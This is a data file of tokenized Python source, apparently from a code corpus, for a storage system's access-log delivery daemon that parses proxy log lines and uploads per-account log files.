")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"key_",
"=_",
"'",
"save",
"-",
"access",
"-",
"logs",
"-%",
"s",
"-%",
"s",
"'_",
"%_",
"(_",
"account_",
",_",
"container_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"flag_",
"=_",
"self_",
"._",
"memcache_",
"._",
"get_",
"(_",
"key_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"flag_",
"is_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"metadata_",
"=_",
"self_",
"._",
"internal",
"\\u",
"proxy_",
"._",
"get",
"\\u",
"container",
"\\u",
"metadata_",
"(_",
"account_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"container_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"val_",
"=_",
"metadata_",
"._",
"get_",
"(_",
"self_",
"._",
"metadata",
"\\u",
"key_",
",_",
"''_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"flag_",
"=_",
"val_",
"._",
"lower_",
"(_",
")_",
"in_",
"TRU",
"E",
"\\u",
"VALUES_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"memcache_",
"._",
"set_",
"(_",
"key_",
",_",
"flag_",
",_",
"timeout_",
"=_",
"self_",
"._",
"frequency_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"flag_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Access",
"Log",
"Deliver",
"y_",
"(_",
"Log",
"Process",
"or",
"Common_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"convert",
"\\u",
"log",
"\\u",
"line_",
"(_",
"self_",
",_",
"raw",
"\\u",
"log_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"parts_",
"=_",
"self_",
"._",
"log",
"\\u",
"line",
"\\u",
"parser_",
"(_",
"raw",
"\\u",
"log_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"parts_",
"==_",
"{_",
"}_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"None_",
",_",
"None_",
",_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"(_",
"make",
"\\u",
"clf",
"\\u",
"from",
"\\u",
"parts_",
"(_",
"parts_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"parts_",
"._",
"get_",
"(_",
"'",
"account",
"'_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"parts_",
"._",
"get_",
"(_",
"'",
"container",
"\\u",
"name",
"'_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Access",
"Log",
"Deliver",
"y_",
"(_",
"Log",
"Process",
"or",
"Common_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"log",
"\\u",
"line",
"\\u",
"parser_",
"(_",
"self_",
",_",
"raw",
"\\u",
"log_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"'''",
"give",
"n",
" ",
"a",
" ",
"raw",
" ",
"access",
" ",
"log",
" ",
"line",
",",
" ",
"return",
" ",
"a",
" ",
"dict",
" ",
"of",
" ",
"the",
" ",
"good",
" ",
"part",
"s",
"'''_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"d_",
"=_",
"{_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"log",
"\\u",
"arr_",
"=_",
"raw",
"\\u",
"log_",
"[_",
"16_",
":_",
"]_",
"._",
"split_",
"(_",
"'",
" ",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"len_",
"(_",
"log",
"\\u",
"arr_",
")_",
">_",
"18_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"log",
"\\u",
"source_",
"=_",
"log",
"\\u",
"arr_",
"[_",
"18_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"log",
"\\u",
"source_",
"!=_",
"'-'_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"internal",
" ",
"proxy",
" ",
"log_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
"_",
"return_",
"{_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"(_",
"unused_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"server_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"client",
"\\u",
"ip_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"lb",
"\\u",
"ip_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"timestamp_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"method_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"request_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"http",
"\\u",
"version_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"code_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"referrer",
"_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"user",
"\\u",
"agent_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"auth",
"\\u",
"token_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"bytes",
"\\u",
"in_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"bytes",
"\\u",
"out_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"etag_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"trans",
"\\u",
"id_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"headers_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"process",
"ing",
"\\u",
"time_",
")_",
"=_",
"(_",
"unquote_",
"(_",
"x_",
")_",
"for_",
"x_",
"in_",
"log",
"\\u",
"arr_",
"[_",
":_",
"18_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
"Value",
"Error_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"logger_",
"._",
"debug_",
"(_",
"\\u_",
"(_",
"'",
"Ba",
"d",
" ",
"line",
" ",
"data",
":",
" ",
"%",
"s",
"'_",
")_",
"%_",
"repr_",
"(_",
"raw",
"\\u",
"log_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"{_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"server_",
"!=_",
"self_",
"._",
"server",
"\\u",
"name_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"incorrect",
" ",
"server",
" ",
"name",
" ",
"in",
" ",
"log",
" ",
"line_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"logger_",
"._",
"debug_",
"(_",
"\\u_",
"(_",
"'",
"Ba",
"d",
" ",
"server",
" ",
"name",
":",
" ",
"found",
" ",
"\"%",
"(",
"found",
")",
"s",
"\"",
" ",
"'_",
"'",
"expected",
" ",
"\"%",
"(",
"expected",
")",
"s",
"\"'_",
")_",
"%_",
"\\u\\u\\uNL\\u\\u\\u_",
"{_",
"'",
"found",
"'_",
":_",
"server_",
",_",
"'",
"expected",
"'_",
":_",
"self_",
"._",
"server",
"\\u",
"name_",
"}_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"{_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"(_",
"version_",
",_",
"account_",
",_",
"container",
"\\u",
"name_",
",_",
"object\\u",
"name_",
")_",
"=_",
"split",
"\\u",
"path_",
"(_",
"request_",
",_",
"2_",
",_",
"4_",
",_",
"True_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
"Value",
"Error_",
",_",
"e_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"logger_",
"._",
"debug_",
"(_",
"\\u_",
"(_",
"'",
"Inva",
"lid",
" ",
"path",
":",
" ",
"%",
"(",
"error",
")",
"s",
" ",
"from",
" ",
"data",
":",
" ",
"%",
"(",
"log",
")",
"s",
"'_",
")_",
"%_",
"\\u\\u\\uNL\\u\\u\\u_",
"{_",
"'",
"error",
"'_",
":_",
"e_",
",_",
"'",
"log",
"'_",
":_",
"repr_",
"(_",
"raw",
"\\u",
"log_",
")_",
"}_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"{_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"container",
"\\u",
"name_",
"is_",
"not_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"container",
"\\u",
"name_",
"=_",
"container",
"\\u",
"name_",
"._",
"split_",
"(_",
"'?'_",
",_",
"1_",
")_",
"[_",
"0_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"object\\u",
"name_",
"is_",
"not_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"object\\u",
"name_",
"=_",
"object\\u",
"name_",
"._",
"split_",
"(_",
"'?'_",
",_",
"1_",
")_",
"[_",
"0_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"account_",
"=_",
"account_",
"._",
"split_",
"(_",
"'?'_",
",_",
"1_",
")_",
"[_",
"0_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"client",
"\\u",
"ip_",
"in_",
"self_",
"._",
"hidden",
"\\u",
"ips_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"client",
"\\u",
"ip_",
"=_",
"'",
"0.",
"0.",
"0.",
"0",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"d_",
"[_",
"'",
"client",
"\\u",
"ip",
"'_",
"]_",
"=_",
"client",
"\\u",
"ip_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"d_",
"[_",
"'",
"lb",
"\\u",
"ip",
"'_",
"]_",
"=_",
"lb",
"\\u",
"ip_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"d_",
"[_",
"'",
"method",
"'_",
"]_",
"=_",
"method_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"d_",
"[_",
"'",
"request",
"'_",
"]_",
"=_",
"request_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"d_",
"[_",
"'",
"http",
"\\u",
"version",
"'_",
"]_",
"=_",
"http",
"\\u",
"version_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"d_",
"[_",
"'",
"code",
"'_",
"]_",
"=_",
"code_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"d_",
"[_",
"'",
"referrer",
"'_",
"]_",
"=_",
"referrer",
"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"d_",
"[_",
"'",
"user",
"\\u",
"agent",
"'_",
"]_",
"=_",
"user",
"\\u",
"agent_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"d_",
"[_",
"'",
"auth",
"\\u",
"token",
"'_",
"]_",
"=_",
"auth",
"\\u",
"token_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"d_",
"[_",
"'",
"bytes",
"\\u",
"in",
"'_",
"]_",
"=_",
"bytes",
"\\u",
"in_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"d_",
"[_",
"'",
"bytes",
"\\u",
"out",
"'_",
"]_",
"=_",
"bytes",
"\\u",
"out_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"d_",
"[_",
"'",
"eta",
"g",
"'_",
"]_",
"=_",
"etag_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"d_",
"[_",
"'",
"trans",
"\\u",
"id",
"'_",
"]_",
"=_",
"trans",
"\\u",
"id_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"d_",
"[_",
"'",
"process",
"ing",
"\\u",
"time",
"'_",
"]_",
"=_",
"process",
"ing",
"\\u",
"time_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"day_",
",_",
"month_",
",_",
"year_",
",_",
"hour_",
",_",
"minute_",
",_",
"second_",
"=_",
"timestamp_",
"._",
"split_",
"(_",
"'/'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"d_",
"[_",
"'",
"day",
"'_",
"]_",
"=_",
"day_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"month_",
"=_",
"(_",
"'%",
"02",
"s",
"'_",
"%_",
"month",
"\\u",
"map_",
"._",
"index_",
"(_",
"month_",
")_",
")_",
"._",
"replace_",
"(_",
"'",
" ",
"'_",
",_",
"'",
"0",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"d_",
"[_",
"'",
"month",
"'_",
"]_",
"=_",
"month_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"d_",
"[_",
"'",
"year",
"'_",
"]_",
"=_",
"year_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"d_",
"[_",
"'",
"hour",
"'_",
"]_",
"=_",
"hour_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"d_",
"[_",
"'",
"minute",
"'_",
"]_",
"=_",
"minute_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"d_",
"[_",
"'",
"second",
"'_",
"]_",
"=_",
"second_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"d_",
"[_",
"'",
"tz",
"'_",
"]_",
"=_",
"'+",
"0000",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"d_",
"[_",
"'",
"account",
"'_",
"]_",
"=_",
"account_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"d_",
"[_",
"'",
"container",
"\\u",
"name",
"'_",
"]_",
"=_",
"container",
"\\u",
"name_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"d_",
"[_",
"'",
"object\\u",
"name",
"'_",
"]_",
"=_",
"object\\u",
"name_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"d_",
"[_",
"'",
"bytes",
"\\u",
"out",
"'_",
"]_",
"=_",
"int_",
"(_",
"d_",
"[_",
"'",
"bytes",
"\\u",
"out",
"'_",
"]_",
"._",
"replace_",
"(_",
"'-'_",
",_",
"'",
"0",
"'_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"d_",
"[_",
"'",
"bytes",
"\\u",
"in",
"'_",
"]_",
"=_",
"int_",
"(_",
"d_",
"[_",
"'",
"bytes",
"\\u",
"in",
"'_",
"]_",
"._",
"replace_",
"(_",
"'-'_",
",_",
"'",
"0",
"'_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"d_",
"[_",
"'",
"code",
"'_",
"]_",
"=_",
"int_",
"(_",
"d_",
"[_",
"'",
"code",
"'_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"d_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"class_",
"Access",
"Log",
"Deliver",
"y",
"Daemon_",
"(_",
"Daemon_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Processe",
"s",
" ",
"access",
" ",
"(",
"proxy",
")",
" ",
"logs",
" ",
"to",
" ",
"split",
" ",
"them",
" ",
"up",
" ",
"by",
" ",
"account",
" ",
"and",
" ",
"deliver",
" ",
"the",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"split",
" ",
"logs",
" ",
"to",
" ",
"thei",
"r",
" ",
"respec",
"tiv",
"e",
" ",
"account",
"s",
".",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"[SEP]_",
"class_",
"Access",
"Log",
"Deliver",
"y",
"Daemon_",
"(_",
"Daemon_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"def_",
"\\u\\u",
"init\\u\\u_",
"(_",
"self_",
",_",
"c_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"conf_",
"=_",
"c_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"super_",
"(_",
"Access",
"Log",
"Deliver",
"y",
"Daemon_",
",_",
"self_",
")_",
"._",
"\\u\\u",
"init\\u\\u_",
"(_",
"c_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"logger_",
"=_",
"get",
"\\u",
"logger_",
"(_",
"c_",
",_",
"log",
"\\u",
"route_",
"=_",
"'",
"access",
"-",
"log",
"-",
"delivery",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"log",
"\\u",
"processor_",
"=_",
"Access",
"Log",
"Deliver",
"y_",
"(_",
"c_",
",_",
"self_",
"._",
"logger_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"log",
"\\u",
"delivery",
"\\u",
"account_",
"=_",
"c_",
"[_",
"'",
"swift",
"\\u",
"account",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"log",
"\\u",
"delivery",
"\\u",
"container_",
"=_",
"c_",
"._",
"get_",
"(_",
"'",
"container",
"\\u",
"name",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"access",
"\\u",
"log",
"\\u",
"delivery",
"\\u",
"data",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"target",
"\\u",
"container_",
"=_",
"c_",
"._",
"get_",
"(_",
"'",
"target",
"\\u",
"container",
"'_",
",_",
"'.",
"ACCESS",
"\\u",
"LOG",
"S",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"frequency_",
"=_",
"int_",
"(_",
"c_",
"._",
"get_",
"(_",
"'",
"freque",
"nc",
"y",
"'_",
",_",
"'",
"3600",
"'_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"worker",
"\\u",
"count_",
"=_",
"int_",
"(_",
"c_",
"._",
"get_",
"(_",
"'",
"worker",
"\\u",
"count",
"'_",
",_",
"'",
"1",
"'_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"working",
"\\u",
"dir_",
"=_",
"c_",
"._",
"get_",
"(_",
"'",
"working",
"\\u",
"dir",
"'_",
",_",
"'/",
"tmp",
"/",
"swift",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"self_",
"._",
"working",
"\\u",
"dir_",
"._",
"endswith_",
"(_",
"'/'_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"working",
"\\u",
"dir_",
"=_",
"self_",
"._",
"working",
"\\u",
"dir_",
"._",
"rstrip_",
"(_",
"'/'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Access",
"Log",
"Deliver",
"y",
"Daemon_",
"(_",
"Daemon_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"run",
"\\u",
"once_",
"(_",
"self_",
",_",
"*_",
"a_",
",_",
"**_",
"kw_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"logger_",
"._",
"info_",
"(_",
"\\u_",
"(_",
"\"",
"Begin",
"ning",
" ",
"log",
" ",
"process",
"ing",
"\"_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"start_",
"=_",
"time_",
"._",
"time_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"alr",
"ead",
"y",
"\\u",
"process",
"ed",
"\\u",
"files_",
"=_",
"self_",
"._",
"log",
"\\u",
"processor_",
"._",
"load",
"\\u",
"alr",
"ead",
"y",
"\\u",
"process",
"ed",
"\\u",
"files_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"look",
"back",
"\\u",
"hours_",
"=_",
"kw_",
"._",
"get_",
"(_",
"'",
"look",
"back",
"\\u",
"hour",
"s",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"look",
"back",
"\\u",
"hours_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"log",
"\\u",
"processor_",
"._",
"look",
"back",
"\\u",
"hours_",
"=_",
"look",
"back",
"\\u",
"hours_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"look",
"back",
"\\u",
"window_",
"=_",
"kw_",
"._",
"get_",
"(_",
"'",
"look",
"back",
"\\u",
"window",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"look",
"back",
"\\u",
"window_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"log",
"\\u",
"processor_",
"._",
"look",
"back",
"\\u",
"window_",
"=_",
"look",
"back",
"\\u",
"window_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"logs",
"\\u",
"to",
"\\u",
"process_",
"=_",
"self_",
"._",
"log",
"\\u",
"processor_",
"._",
"get",
"\\u",
"logs",
"\\u",
"to",
"\\u",
"process_",
"(_",
"alr",
"ead",
"y",
"\\u",
"process",
"ed",
"\\u",
"files_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"not_",
"logs",
"\\u",
"to",
"\\u",
"process_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"logger_",
"._",
"info_",
"(_",
"\\u_",
"(_",
"\"",
"Log",
" ",
"process",
"ing",
" ",
"don",
"e",
" ",
"(%",
"0.",
"2f",
" ",
"minute",
"s",
")\"_",
")_",
"%_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"(_",
"time_",
"._",
"time_",
"(_",
")_",
"-_",
"start_",
")_",
"/_",
"60_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"map_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"process",
"or",
"\\u",
"args_",
"=_",
"(_",
"self_",
"._",
"conf_",
",_",
"self_",
"._",
"logger_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"results_",
"=_",
"multipro",
"cess",
"\\u",
"collate",
"_",
"(_",
"Access",
"Log",
"Deliver",
"y_",
",_",
"process",
"or",
"\\u",
"args_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"process",
"\\u",
"one",
"\\u",
"file",
"'_",
",_",
"logs",
"\\u",
"to",
"\\u",
"process_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"worker",
"\\u",
"count_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"reduce_",
"\\u\\u\\uNL\\u\\u\\u_",
"process",
"ed",
"\\u",
"files_",
"=_",
"alr",
"ead",
"y",
"\\u",
"process",
"ed",
"\\u",
"files_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"files",
"\\u",
"to",
"\\u",
"upload_",
"=_",
"set_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"item_",
",_",
"data_",
"in_",
"results_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"a_",
",_",
"c_",
",_",
"o_",
"=_",
"item_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"process",
"ed",
"\\u",
"files_",
"._",
"add_",
"(_",
"o_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"data_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"files",
"\\u",
"to",
"\\u",
"upload_",
"._",
"update_",
"(_",
"data_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"len",
"\\u",
"working",
"\\u",
"dir_",
"=_",
"len_",
"(_",
"self_",
"._",
"working",
"\\u",
"dir_",
")_",
"+_",
"1_",
"#",
" ",
"+",
"1",
" ",
"for",
" ",
"the",
" ",
"trail",
"ing",
" ",
"'/'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"filename_",
"in_",
"files",
"\\u",
"to",
"\\u",
"upload_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"target",
"\\u",
"name_",
"=_",
"filename_",
"[_",
"len",
"\\u",
"working",
"\\u",
"dir_",
":_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"account_",
",_",
"target",
"\\u",
"name_",
"=_",
"target",
"\\u",
"name_",
"._",
"split_",
"(_",
"'/'_",
",_",
"1_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"some",
"\\u",
"id_",
"=_",
"uuid4_",
"(_",
")_",
"._",
"hex_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"target",
"\\u",
"name_",
"=_",
"'%",
"s",
"/",
"%",
"s",
".",
"log",
".",
"gz",
"'_",
"%_",
"(_",
"target",
"\\u",
"name_",
",_",
"some",
"\\u",
"id_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"success_",
"=_",
"self_",
"._",
"log",
"\\u",
"processor_",
"._",
"internal",
"\\u",
"proxy_",
"._",
"upload",
"\\u",
"file_",
"(_",
"filename_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"account_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"target",
"\\u",
"container_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"target",
"\\u",
"name_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"success_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"os_",
"._",
"unlink_",
"(_",
"filename_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"logger_",
"._",
"debug_",
"(_",
"'",
"Upload",
"ed",
" ",
"%",
"s",
" ",
"to",
" ",
"account",
" ",
"%",
"s",
"'_",
"%_",
"(_",
"filename_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"account_",
")_",
")_",
